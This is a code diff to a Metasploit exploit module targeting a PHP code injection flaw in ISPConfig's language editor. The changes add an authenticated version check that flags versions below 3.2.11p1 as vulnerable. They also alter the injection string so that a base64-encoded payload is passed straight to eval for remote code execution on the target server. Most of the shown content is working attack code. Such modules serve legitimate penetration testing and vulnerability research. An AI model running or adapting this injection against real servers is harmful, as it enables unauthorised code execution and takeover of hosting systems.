diff --git a/modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb b/modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb index b01f390be3..e2258537d8 100644 --- a/modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb +++ b/modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb @@ -70,21 +70,21 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [true, 'ISPConfig administrator username']), OptString.new('PASSWORD', [true, 'ISPConfig administrator password']) ]) + + @authenticated = false end def check print_status('Checking if the target is ISPConfig...') - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'login') - }) - return CheckCode::Unknown unless res - + # Try to log in and parse version if credentials are provided if datastore['USERNAME'] && datastore['PASSWORD'] - login_res = send_request_cgi({ + # Clear any existing cookies before login + cookie_jar.clear + + login_res = send_request_cgi!({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'login'), + 'uri' => normalize_uri(target_uri.path, 'login/'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], @@ -96,26 +96,27 @@ class MetasploitModule < Msf::Exploit::Remote # Try to access the dashboard or settings page settings_res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), + 'uri' => normalize_uri(target_uri.path, 'help', 'version.php'), 'keep_cookies' => true }) if settings_res doc = settings_res.get_html_document # Try to find version in a span, div, or similar element - version_text = doc.text[/ISPConfig\s*v?(\d+\.\d+(?:\.\d+)?(?:p\d+)?)/i, 1] - if version_text - print_good("ISPConfig version detected: #{version_text}") - return CheckCode::Appears("Version: #{version_text}") + version_element = doc.at('//p[@class="frmTextHead"]') + if version_element + version_text = version_element.text + version = version_text.split(":")[1].gsub(" ","") + version = Rex::Version.new(version) + if version < Rex::Version.new('3.2.11p1') + print_good("ISPConfig version detected: #{version_text}") + @authenticated = true + return CheckCode::Vulnerable("Version: #{version_text}") + end end end end end - # Fallback to the previous check - if res.body.include?('ISPConfig') && (res.body.include?('login') || res.body.include?('username') || res.body.include?('password')) - print_good('ISPConfig installation detected') - return CheckCode::Detected - end CheckCode::Safe end @@ -226,7 +227,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Injecting PHP payload...') @payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php" b64_payload = Base64.strict_encode64(payload.encoded) - injection = "'];file_put_contents('#{@payload_file}',base64_decode('#{b64_payload}'));die;#" + injection = "'];eval(base64_decode('#{b64_payload}'));die;#" lang_file = Rex::Text.rand_text_alpha_lower(10) + ".lng" edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php') initial_data = { @@ -325,7 +326,10 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - authenticate + unless @authenticated + authenticate + @authenticated = true + end # Check if language editor permissions are enabled unless check_langedit_permission